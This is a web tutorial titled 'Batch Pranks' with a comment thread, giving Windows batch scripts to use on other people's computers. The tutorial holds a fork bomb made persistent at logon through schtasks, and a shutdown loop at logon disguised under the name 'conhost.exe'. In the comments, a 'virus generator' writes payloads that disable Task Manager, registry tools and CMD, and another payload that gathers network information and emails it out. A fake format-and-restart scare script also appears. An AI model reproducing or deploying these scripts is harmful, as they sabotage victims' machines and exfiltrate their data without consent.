Introduction: Batch Pranks

Picture of Batch Pranks

Welcome to Batch Pranks
In This Instructable I will show you how to freeze someones computer, change their date/time and shutdown their computer at startup!!!!                                                                                      

Step 1: Computer Freeze

Picture of Computer Freeze

Their are numerous ways to freeze a computer (If you have one tell me). Here two I know :

1. %0|%0

2.start (itself)

Step 2: How to Freeze the Computer

Picture of How to Freeze the Computer

Open Notepad and type

@echo off
cls
%0|%0

This will slow it down quite fast when it starts (alow about 10 seconds before it actually does anything)

if you add this to the top
schtasks /create /tn "Proccess Name Here" /tr Directory /sc onlogon /sd The starting date

eg.
schtasks /create /tn "My App" /tr c:\apps\myapp.exe /sc onlogon /sd 12/27/2050
@echo off
cls
%0|%0

save as Whatever.bat

Step 3: Date/Time Changer

Picture of Date/Time Changer

To Change someones Time, date or both type the folowing 
or you can just download the file below.
save it as whatever.bat

@echo off
:start
cls
Title Date/Time Changer
echo Press T to change the time
echo Press D to change the date
set/p "cho=>"

if %cho%==T goto Time
if %cho%==D goto Date
if %cho%==t goto Time
if %cho%==d goto Date

:Time
cls
set /p Hours=Hours :
if %Hours% LSS 24 goto t1
echo Incorrect Time
pause >nul
goto Time
:t1
set /p Minites=Minites :
if %Minites% LSS 60 goto t2
echo Incorrect Time
pause >nul
goto Time
:t2
Time %Hours%:%Minites%
goto start

:Date
cls
set /p Days=Days :
if %Days% LSS 31 goto d1
echo Incorrect Date
pause >nul
goto Date
:d1
set /p Months=Months :
if %Months% LSS 12 goto d2
echo Incorrect Date
pause >nul
goto Date
:d2
set /p Years=Years :
Date %Days%/%Months%/%Years%
goto start



 

Step 4: Shutdown Prank

Picture of Shutdown Prank

This is fairly simple (and extremely COMMON) just type the following and this will guarantee trouble

schtasks /create /tn "conhost.exe" /tr %CD%\%0 /sc onlogon
@echo off
cls
shutdown -s -t 30 -c "Comment Here"

read below for more information.

if you wanted an interface that will do this for you see step 4 of basic batch my other Instructable.

 


Comments

SovR (author)2016-02-12

This seems very mean. If they can't use their computer ever, then it could be considered destruction of private property. That is illegal.

AlexM632 (author)SovR2017-03-13

Nope. The person could just unplug their computer and/or take out the battery and the problem would be solved.

Zane Studios (author)2017-02-02

the '%0|%0' is a batch 'Fork Bomb' it is less than five bytes of data but can crash a computer in 10 seconds.

Zask1998 (author)2015-10-03

Okay look Im not finished with this but I took away all the viruses...

I am also not finished with it but it is for educational purposes only.

--------------------Cut-Here--------------------

title Beta4niflikr.zask.bat

echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»

echo ºZask's virus generator (ver 0.0.1)º

echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

echo I am not responsible any damages that you may cause on your computer.

echo You agree to these terms or you use some other program.

echo By using this program you get the full source code so that you know that there echo are no viruses attached and so far this is just a stupid program I made for fun.

echo You also may realize that there could be errors in the since it has not yet been

echo fully tested... But these embedding consoles are confusing to comprehend throughout imagination... Any way.

echo Thank you!

echo Press any key...

pause > null

echo select options...

echo.

::NAME!!!!!!!!!!!!!

echo _______________________________________________________________

set/p "Name= Virus name : "

echo.

::HEAD!!!!!!!!!!!!!

echo _______________________________________________________________

set/p "head= Echo on or off? : "

echo.

if %head%==on goto echoon

if %head%==off goto echooff

end

:echoon

echo @echo on >> %Name%.txt

goto title

:echooff

echo @echo off >> %Name%.txt

goto title

::TITLE!!!!!!!!!!!!

:title

echo _______________________________________________________________

set/p "title= Title : "

echo.

echo title %title% >> %Name%.txt

::DIRECTORY!!!!!!!!

echo _______________________________________________________________

set/p "directory= Create directory? (y/n) : "

echo.

if %directory%==y goto directoryname

if %directory%==n goto fakebyte

end

::DIRECTORYNAME!!!!

:directoryname

set/p "directoryname= Name of directory : "

echo.

echo ^ >> %Name%.txt

echo C: >> %Name%.txt

echo if not exist "C:\%directoryname%\" ( >> %Name%.txt

echo mkdir "C:\%directoryname%\" >> %Name%.txt

echo if "!errorlevel!" EQU "0" ( >> %Name%.txt

echo goto next1 >> %Name%.txt

echo ) else ( >> %Name%.txt

echo goto next2 >> %Name%.txt

echo ) >> %Name%.txt

echo ) else ( >> %Name%.txt

echo goto next1 >> %Name%.txt

echo ) >> %Name%.txt

echo :next1 >> %Name%.txt

set/p "hidedirectory= hide directory? (y/n) : "

if %hidedirectory%==y echo attrib %directoryname% +s +h >> %Name%.txt

if %hidedirectory%==n goto fakebyte

goto fakebyte

:fakebyte

echo _______________________________________________________________

set/p "fakebytes= Create fake bites? (y/n) : "

if %fakebytes%==y goto fakebytes

if %fakebytes%==n goto spam

:fakebytes

echo jfnvjdfvbdfrjcedjcndskcjlewkjdelkasusywkiqwndsjhcgbdkisknckichcdsjyefgwiednnauxxbjnkaskjgbuhyhdgddr >> %Name%.txt

echo djdchcvnfdhvjknvjknvfbdfhvbdfjncfdnfhvjrhskjfnmaskldnchfvbgfvffscdjfbnjehcfnjhcbjhnvdjuknvchdhbhvhf >> %Name%.txt

echo fdgvcdfgcvjhvbnfvfdhbfvdjnfvdnbjfvnjgbnjkfvsjlsfdjhfsndsajkfdsvefeyufguyshduygfbdbcyufreubfuyhfdbk >> %Name%.txt

echo fndsfungcuhfjhcvnhsfdncjsjzlixldjfouyfhfrufmrnjhggvcnnfvdeyhfyfghnfguhfuyndfhfdrsognfdhjfdyfdhfdhg >> %Name%.txt

echo fhvbdh7rhuigfuhgudjfdujguighsudgduhgjugsifdkgiojfdhiudfgmnjhdgufhuigfjguijgukhgkjgufdhgjfugfchghjh >> %Name%.txt

echo hsbdfjdrbfjdbgvfovngkllksfjbnmgkjvnvjkgfnkbfgvhnfgijgfjknfghjgffghdunvuhnuihgfgjifugjiuhdruiryhgui >> %Name%.txt

echo dsbdyhceyifgbycgnjhfhjhvfbdgjhnhjhsdhbgsftrhgbvsrulsfkewajfreihnrnusrnvcuhiurgfeuygfruyfgybfdbkjkd >> %Name%.txt

echo dscgfbdofnjkfhnkjfnkovmhuihgudljcugrhnuhvgvnuivgfhgdfigjngnklvtghnmgiojgfnkjgfhnfhngfvjnkfgvlkgfng >> %Name%.txt

echo fdkbsdcfhnmvghnfvkjfjkgfpkogjroisjoersmcetkuntbggkhgjhdlewrlkjrhjiurnvuinvynbtrhurenyviuntruirtunv >> %Name%.txt

echo dsuifhuyafgbycfgruyfgnucafipjnfnjkhnfidhfvmdkhzkdlhfnuygjkdngtfrjhnguhyghsduvbgrjkhvsriulkghnkjhgu >> %Name%.txt

::SPAM!!!!!!!!!!!!

:spam

echo _______________________________________________________________

set/p "spam= Unlease hell? (y/n) : "

echo.

if %spam%==y goto spamoptions1

if %spam%==n goto endxd

::SPAMOPTIONS

goto spamoptions

:spamoptions0

echo _______________________________________________________________

echo Created... Anything else?

echo.

goto spamoptions

:spamoptions1

:spamoptions

echo Type command below

echo.

echo 1 - Toggles caps lock continuously (Dont use with #3)

echo 2 - Toggles cd trey continuously

echo 3 - Pops up message (can be continuous or without loop)

echo 4 - Toggles backspace continuously (Dont use with #1)

echo 5 - Attaches payload

echo 6 - Steal ip address

echo 7 - swaps mouse button (Only works on Windows 95 ^& Windows NT)

echo 8 - Continues to next option

echo.

set/p "spamoptions=Command~ : "

if %spamoptions%==1 goto capspam

if %spamoptions%==2 goto cdspam

if %spamoptions%==3 goto msgspam

if %spamoptions%==4 goto bakspcspam

if %spamoptions%==5 goto payload

if %spamoptions%==6 goto stealipaddress0

if %spamoptions%==7 goto mouse swapmousebutton

if %spamoptions%==8 goto next

:payload0

echo _______________________________________________________________

echo Created... Anything else?

echo.

:payload

echo 1 - DisableTaskMgr

echo 2 - NoControlPanel

echo 3 - NoFolderOptions

echo 4 - NoViewContextMenu

echo 5 - DisableRegistryTools

echo 6 - DisableCMD

echo 7 - Creates random folders in the current directory

echo 8 - Go back

echo.

set/p "payload=Command~ : "

if %payload%==1 goto payload1

if %payload%==2 goto payload2

if %payload%==3 goto payload3

if %payload%==4 goto payload4

if %payload%==5 goto payload5

if %payload%==6 goto payload6

if %payload%==7 goto payload7

if %payload%==8 goto spamoptions

::PAYLOAD!!!!!!!!!!

:payload1

echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 00000001 >> %Name%.txt

goto payload0

:payload2

echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /f /v NoControlPanel /t REG_DWORD /d 00000001 >> %Name%.txt

goto payload0

:payload3

echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /f /v NoFolderOptions /t REG_DWORD /d 00000001 >> %Name%.txt

goto payload0

:payload4

echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /f /v NoViewContextMenu /t REG_DWORD /d 00000001 >> %Name%.txt

goto payload0

:payload5

echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableRegistryTools /t REG_DWORD /d 00000001 >> %Name%.txt

goto payload0

:payload6

echo reg add HKCU\Software\Policies\Microsoft\Windows\System /f /v DisableCMD /t REG_DWORD /d 00000002 >> %Name%.txt

:payload7

echo @echo off

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

echo md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> %Name%.txt

goto payload0

:swapmousebutton

echo RUNDLL USER.EXE,SwapMouseButton >> %Name%

echo RUNDLL32 USER32.DLL,SwapMouseButton >> %Name%

goto spamoptions0

::CAPSPAM!!!!!!!!!

:capspam

echo echo Set wshShell =wscript.CreateObject("WScript.Shell") ^>^> capspam.vbs >> %Name%.txt

echo echo do ^>^> capspam.vbs >> %Name%.txt

echo echo wscript.sleep 100 ^>^> capspam.vbs >> %Name%.txt

echo echo wshshell.sendkeys "{CAPSLOCK}" ^>^> capspam.vbs >> %Name%.txt

echo echo loop ^>^> capspam.vbs >> %Name%.txt >> %Name%.txt

echo if exist "C:\%directoryname%\" del "%%~dp0capspam.vbs" >> %Name%.txt

echo if not exist "C:\%directoryname%" start "%%~dp0capspam.vbs" >> %Name%.txt

echo if exist "C:\%directoryname%" ( >> %Name%.txt

echo start "" "C:\%directoryname%\capspam.vbs" >> %Name%.txt

echo exit >> %Name%.txt

echo ) else ( >> %Name%.txt

echo if exist goto cdspam~ >> %Name%.txt

echo ) >> %Name%.txt

goto spamoptions0

::CDSPAM!!!!!!!!!!

:cdspam

echo :cdspam~ >> %Name%.txt

echo echo Set oWMP = CreateObject("WMPlayer.OCX.7") ^>^> cdspam.vbs >> %Name%.txt

echo echo Set colCDROMs = oWMP.cdromCollection ^>^> cdspam.vbs >> %Name%.txt

echo echo do ^>^> cdspam.vbs >> %Name%.txt

echo echo if colCDROMs.Count ^>= 1 then ^>^> cdspam.vbs >> %Name%.txt

echo echo For i = 0 to colCDROMs.Count - ^1 ^>^> cdspam.vbs >> %Name%.txt

echo echo colCDROMs.Item(i).Eject ^>^> cdspam.vbs >> %Name%.txt

echo echo Next ^>^> cdspam.vbs >> %Name%.txt

echo echo For i = 0 to colCDROMs.Count - ^1 ^>^> cdspam.vbs >> %Name%.txt

echo echo colCDROMs.Item(i).Eject ^>^> cdspam.vbs >> %Name%.txt

echo echo Next ^>^> cdspam.vbs >> %Name%.txt

echo echo End If ^>^> cdspam.vbs >> %Name%.txt

echo echo wscript.sleep 5000 ^>^> cdspam.vbs >> %Name%.txt

echo echo loop ^>^> cdspam.vbs >> %Name%.txt

echo echo if exist "C:\%directoryname%\" del "%%~dp0cdspam.vbs" >> %Name%.txt

echo echo if not exist "C:\%directoryname%" start "%%~dp0cdspam.vbs" >> %Name%.txt

echo if exist "C:\%directoryname%" ( >> %Name%.txt

echo start "" "C:\%directoryname%\cdspam.vbs" >> %Name%.txt

echo exit >> %Name%.txt

echo ) else ( >> %Name%.txt

echo if exist goto capspam~ >> %Name%.txt

echo ) >> %Name%.txt

goto spamoptions0

::MSGSPAM!!!!!!!!!!

:msgspam

set/p "message= message : "

set/p "loop=loop message? (y/n) : "

if %loop%==y goto message1

if %loop%==n goto message2

:message1

echo echo do* >> %Name%.txt

echo echo MsgBox ("%message%") >> %Name%.txt

echo echo loop* >> %Name%.txt

goto spamoptions0

:message2

echo echo do* >> %Name%.txt

echo echo MsgBox ("%message%") >> %Name%.txt

goto spamoptions0

::BACKSPAM

:bakspcspam

echo echo Set wshShell =wscript.CreateObject("WScript.Shell") >> %Name%.txt

echo echo do >> %Name%.txt

echo echo wscript.sleep 100 >> %Name%.txt

echo echo wshshell.sendkeys "{bs}" >> %Name%.txt

echo echo loop >> %Name%.txt

goto spamoptions0

::STEALIP

:stealipaddress0

IF DEFINED %directoryname% (echo Must create Directory for this option... & pause | goto spamoptions1) ELSE (goto stealipaddress)

goto spamoptions1

:stealipaddress

echo.

:steal-ip-address

set/p "from=From (Your smpt domain) : "

set/p "to=To (Your main email address.) : "

set/p "textbody=Textbody (Your message.) : "

::email testing

::////????////????////(ERROR HERE)!!!!////????////????////

echo echo LOG ^>^> c:\%directoryname%\network_info.txt >> %Name%.txt

echo echo Current PC's date^^^&time ^>^> c:\%directoryname%\network_info.txt >> %Name%.txt

echo echo %%DATE%% %%TIME%% ^>^> c:\%directoryname%\network_info.txt >> %Name%.txt

echo. %>%> c:\%directoryname%\network_info.txt ^>^> %Name%.txt

echo ipconfig /all ^>^> c:\%directoryname%\network_info.txt >> %Name%.txt

echo echo ^^<%%% ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo echo Set myMail=CreateObject("CDO.Message") ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo echo myMail.Subject="Logged Addresses" ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo echo myMail.From="%from%" ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo echo myMail.To="%to%" ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo echo myMail.TextBody="%textbody%" ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo echo myMail.AddAttachment "c:\%directoryname%\network_info.txt" ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo echo myMail.Send ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo echo set myMail=nothing ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo echo %%%^^> ^>^> c:\%directoryname%\email.vbs >> %Name%.txt

echo del "%%~dp0email.vbs" >> %Name%.txt

echo start "" "c:\%directoryname%\email.vbs" >> %Name%.txt

pause

Zask1998 (author)Zask19982015-10-03

oh yeah and i forgot to say turn echo off lol

Zask1998 (author)2015-10-03

sorry i'm not fluent of english

SuperDragon2015 (author)2015-01-13

This is mine:

@echo off

@echo VIRUS DETECTED!

@echo The system will attempt to remove the virus.

PAUSE

@echo Removing virus...

ping 192.0.2.2 -n 1 -w 5000 > nul

@echo Virus removal failed.

@echo Your system will now format the hard drive to attempt and remove the virus.

@echo You will lose all your data.

PAUSE

@echo Formatting hard drive. Please wait...

ping 192.0.2.2 -n 1 -w 10000 > nul

msg * Your computer must now restart.

ping 192.0.2.2 -n 1 -w 1000 > nul

@echo Pranked ya! (Your computer will still restart)

ping 192.0.2.2 -n 1 -w 10000 > nul

shutdown.exe /r /t 00

At the end, it restarts the computer :)

everythingicanthinkof (author)2014-11-22

Never mind

everythingicanthinkof (author)2014-11-22

How do you fix the first batch prank

vorlock (author)2010-01-24

Type what you think

greenbean (author)vorlock2010-01-31

I believe that you made a consistent typo. You said " echo off " instead of the correct " @echo off ". (Unless you just want to say "off ", in which case you are correct).

vorlock (author)greenbean2010-02-04

it works for me so just try it and see what happens because that is how it is for me

greenbean (author)vorlock2010-02-07

it would not do anything to the code except let it print all the steps. try switching it to @echo off on your date changer, you'll see what i mean.

vorlock (author)greenbean2010-02-10

Isn't that weird!!! because it works for me but if it doen't for overs i'll change it.

nova (author)vorlock2012-12-17

Actually, you aren't seeing anything because you have cls directly afterward usually.

MrX_wantans (author)2010-08-16

this one is a nice prank

vorlock (author)MrX_wantans2010-08-16

Thanks

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